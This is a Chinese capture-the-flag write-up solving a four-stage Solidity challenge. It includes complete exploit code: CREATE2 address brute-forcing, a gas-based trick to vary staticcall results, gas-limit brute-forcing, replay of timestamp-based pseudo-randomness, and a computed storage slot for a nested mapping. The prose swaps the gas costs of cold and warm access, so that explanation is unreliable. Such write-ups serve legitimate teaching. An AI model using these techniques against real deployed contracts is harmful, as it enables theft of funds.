who 分析 1.全局观 只有一个合约,一眼可以看出是过关斩将的题目类型:4个stage
2.任务 让mapping中的相关信息返回true
1 2 3 function isSolved() external view returns (bool) { return stats[4][who]; }
3.详细分析 setup 很明显,是要用CREATE2创建特殊要求的地址,那么就需要用CREATE2爆破了。
1 2 3 4 function setup() external { require(uint256(uint160(msg.sender)) % 1000 == 137, "!good caller"); who = msg.sender; }
用下面的代码来爆破(FooEXP尚未写):通过deploy部署得到符合setup()
条件的攻击地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 function deploy() public returns(address){ address addr; bytes memory bytecode = type(FooEXP).creationCode; uint256 salt = bruteForceDeploy(); assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } deployedAddress = addr; return addr; } function getAddress( bytes memory bytecode, uint _salt) public view returns (address) { bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), address(this), _salt, keccak256(bytecode) ) ); // NOTE: cast last 20 bytes of hash to address return address(uint160(uint(hash))); } function bruteForceDeploy() public view returns(uint){ for (uint i = 1; i < 999999; i++) { address addr = getAddress(type(FooEXP).creationCode, i); if (uint256(uint160(addr)) % 1000 == 137) { return i; } } }
stage1 攻击合约写一个check()
方法,两次调用的返回结果不一样:第一次返回keccak256(abi.encodePacked("1337"))
,第二次返回keccak256(abi.encodePacked("13337"))
,和Ethernaut的Elevator 原理一样
1 2 3 4 5 6 7 8 9 10 function stage1() external { require(msg.sender == who, "stage1: !setup"); stats[1][msg.sender] = true; (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("check()")); require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("1337")), "stage1: !check"); (, data) = msg.sender.staticcall(abi.encodeWithSignature("check()")); require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("13337")), "stage1: !check2"); }
解题方案:由于staticcall不能修改状态,因此我们选择用gas剩余量来判断两次调用。如果让两次调用之间存在差别呢?我们的选择是通过staticcall计算gas的特点:冷地址消耗100gas,热地址消耗2600gas。第一次访问address(0x100)是热地址,返回”1337”,第二次访问address(0x100)是冷地址,消耗100gas,返回“13337”,这是关于staticcall操作码 的特点。
1 2 3 4 5 6 7 8 9 function check() public view returns (bytes32) { uint startGas = gasleft(); uint bal = address(0x100).balance; uint usedGas = startGas - gasleft(); if (usedGas < 1000) { return keccak256(abi.encodePacked("13337")); } return keccak256(abi.encodePacked("1337")); }
stage2 stage调用会不断地递归下去,直到gas消耗完,要么成功,要么revert(极大概率)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function stage2() external { require(stats[1][msg.sender], "goto stage1"); stats[2][msg.sender] = true; require(this._stage2() == 7, "!stage2"); } function _stage2() external payable returns (uint x) { unchecked { x = 1; try this._stage2() returns (uint x_) { x += x_; } catch {} } }
我们无法知道程序会在什么时候停下来使得返回值为7,遇到这个情况,最好的方式就是爆破:我在foundry本地测试过了,大概会在40000~41000之间程序会成功,实际攻击题目的时候,不要从i=1开始遍历,因为gas会超过上限
1 2 3 4 5 6 7 8 9 10 function brure_force_stage2() public { for (uint i = 40200; i < 40399; i++) { (bool success, ) = address(chall).call{gas: i}( abi.encodeWithSignature("stage2()") ); if (success) { break; } } }
stage3 代码量很多,但是其实最简单,这个就是猜测数值,伪随机数,我们在同一笔交易中用相同的方式获取答案。另外需要注意的是,由于回调的时候有{gas: 3_888}
限制,因此我们的回调函数要尽可能的小,否则会因为gas不足而revert
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 function stage3() external { require(stats[2][msg.sender], "goto stage2"); stats[3][msg.sender] = true; uint[] memory challenge = new uint[](8); // 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知 challenge[0] = (block.timestamp & 0xf0000000) >> 28; challenge[1] = (block.timestamp & 0xf000000) >> 24; challenge[2] = (block.timestamp & 0xf00000) >> 20; challenge[3] = (block.timestamp & 0xf0000) >> 16; challenge[4] = (block.timestamp & 0xf000) >> 12; challenge[5] = (block.timestamp & 0xf00) >> 8; challenge[6] = (block.timestamp & 0xf0) >> 4; challenge[7] = (block.timestamp & 0xf) >> 0; (, bytes memory data) = msg.sender.staticcall{gas: 3_888}(abi.encodeWithSignature("sort(uint256[])", challenge)); uint[] memory answer = abi.decode(data, (uint[])); // 冒泡排序,从小到大 for(uint i=0 ; i<8 ; i++) { for(uint j=i+1 ; j<8 ; j++) { if (challenge[i] > challenge[j]) { uint tmp = challenge[i]; challenge[i] = challenge[j]; challenge[j] = tmp; } } } // 从上面分析可以知道,我们的data decode出来之后,数据变化要和时间戳一样,而时间戳在一笔交易得知的 for(uint i=0 ; i<8 ; i++) { require(challenge[i] == answer[i], "stage3: !sort"); } }
解决方案:我选择在一笔交易中,构造器中初始化随机数,不在方法中计算随机数否则gas是不够的,然后进行攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function sort(uint256[] memory) public returns (uint[] memory) {return challenge;} constructor() { // 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知 challenge[0] = (block.timestamp & 0xf0000000) >> 28; challenge[1] = (block.timestamp & 0xf000000) >> 24; challenge[2] = (block.timestamp & 0xf00000) >> 20; challenge[3] = (block.timestamp & 0xf0000) >> 16; challenge[4] = (block.timestamp & 0xf000) >> 12; challenge[5] = (block.timestamp & 0xf00) >> 8; challenge[6] = (block.timestamp & 0xf0) >> 4; challenge[7] = (block.timestamp & 0xf) >> 0; // 冒泡排序,从小到大 for(uint i=0 ; i<8 ; i++) { for(uint j=i+1 ; j<8 ; j++) { if (challenge[i] > challenge[j]) { uint tmp = challenge[i]; challenge[i] = challenge[j]; challenge[j] = tmp; } } } }
stage4 这里明显就是要找到stats[4] [who]在EVM的存储位置:涉及到嵌套mapping,找到stats[4] [who]的位置,然后设置为true即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mapping (uint256 => mapping (address => bool)) stats; // slot_1 function stage4() external { require(stats[3][msg.sender], "goto stage3"); (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("pos()")); bytes32 pos = abi.decode(data, (bytes32)); assembly { sstore(pos, 0x1) } } function isSolved() external view returns (bool) { return stats[4][who]; }
解决方案:
1 2 3 4 5 6 7 8 9 10 11 12 13 function firstMapping(uint256 _key,uint256 x) public pure returns(bytes32) { return keccak256(abi.encode(_key, x)); } function secondMapping(address _key,uint256 x) public pure returns(bytes32) { return keccak256(abi.encode(_key, x)); } function findPosition(address addr) public returns(bytes32){ bytes32 a1 = firstMapping(4,1); bytes32 a2 = secondMapping(addr,uint256(a1)); return a2; }
解题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; import "Foo"; contract ContainerDeployScript is Script { function run() public { uint256 deployerPrivateKey = vm.envUint("privatekey"); vm.startBroadcast(deployerPrivateKey); Attacker xxx = new Attacker(); xxx.attack(); vm.stopBroadcast(); } } contract Attacker { function attack() public{ Foo foo = Foo(address(0x828b9ca82DFcC53743a1f60BeafEd1E200511a62)); Deployer deployer = new Deployer(address(foo)); FooEXP attacker = FooEXP(deployer.deploy()); attacker.hack_setup(address(foo)); attacker.hack1(); attacker.hack2{gas:9000000000000}(); attacker.hack3(); bytes32 position = calPosition(address(attacker)); attacker.set_pos(position); attacker.hack4(); } function Mapping_1(uint256 _key,uint256 x) public pure returns(bytes32) { return keccak256(abi.encode(_key, x)); } function Mapping_2(address _key,uint256 x) public pure returns(bytes32) { return keccak256(abi.encode(_key, x)); } function calPosition(address addr) public returns(bytes32){ bytes32 a1 = Mapping_1(4,1); bytes32 a2 = Mapping_2(addr,uint256(a1)); return a2; } } contract FooEXP { Foo public chall; bytes32 _pos; uint[] public challenge = new uint[](8); constructor() { // 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知 challenge[0] = (block.timestamp & 0xf0000000) >> 28; challenge[1] = (block.timestamp & 0xf000000) >> 24; challenge[2] = (block.timestamp & 0xf00000) >> 20; challenge[3] = (block.timestamp & 0xf0000) >> 16; challenge[4] = (block.timestamp & 0xf000) >> 12; challenge[5] = (block.timestamp & 0xf00) >> 8; challenge[6] = (block.timestamp & 0xf0) >> 4; challenge[7] = (block.timestamp & 0xf) >> 0; // 冒泡排序,从小到大 for(uint i=0 ; i<8 ; i++) { for(uint j=i+1 ; j<8 ; j++) { if (challenge[i] > challenge[j]) { uint tmp = challenge[i]; challenge[i] = challenge[j]; challenge[j] = tmp; } } } } function brure_force_stage2() public { for (uint i = 40200; i < 40399; i++) { (bool success, ) = address(chall).call{gas: i}( abi.encodeWithSignature("stage2()") ); if (success) { break; } } } function hack_setup(address _addr) public { chall = Foo(_addr); chall.setup(); } function hack1() public { chall.stage1(); } function hack2() public { brure_force_stage2(); } function hack3() public { chall.stage3(); } function hack4() public { chall.stage4(); } function check() public view returns (bytes32) { uint startGas = gasleft(); uint bal = address(0x100).balance; uint usedGas = startGas - gasleft(); if (usedGas < 1000) { return keccak256(abi.encodePacked("13337")); } return keccak256(abi.encodePacked("1337")); } function sort(uint256[] memory) public returns (uint[] memory) { return challenge; } function set_pos(bytes32 a) public{ _pos = a; } function pos() public view returns(bytes32){ return _pos; } } contract Deployer{ Foo public chall; FooEXP public exp; uint salt; address public deployedAddress; constructor(address _addr) public { chall = Foo(_addr); } function getHash()external view returns(bytes32){ bytes memory aaaa = type(FooEXP).creationCode; return keccak256(aaaa); } function deploy() public returns(address){ address addr; bytes memory bytecode = type(FooEXP).creationCode; uint256 salt = bruteForceDeploy(); assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } deployedAddress = addr; return addr; } function getAddress( bytes memory bytecode, uint _salt ) public view returns (address) { bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), address(this), _salt, keccak256(bytecode) ) ); // NOTE: cast last 20 bytes of hash to address return address(uint160(uint(hash))); } function bruteForceDeploy() public view returns(uint){ for (uint i = 1; i < 999999; i++) { address addr = getAddress(type(FooEXP).creationCode, i); if (uint256(uint160(addr)) % 1000 == 137) { return i; } } } }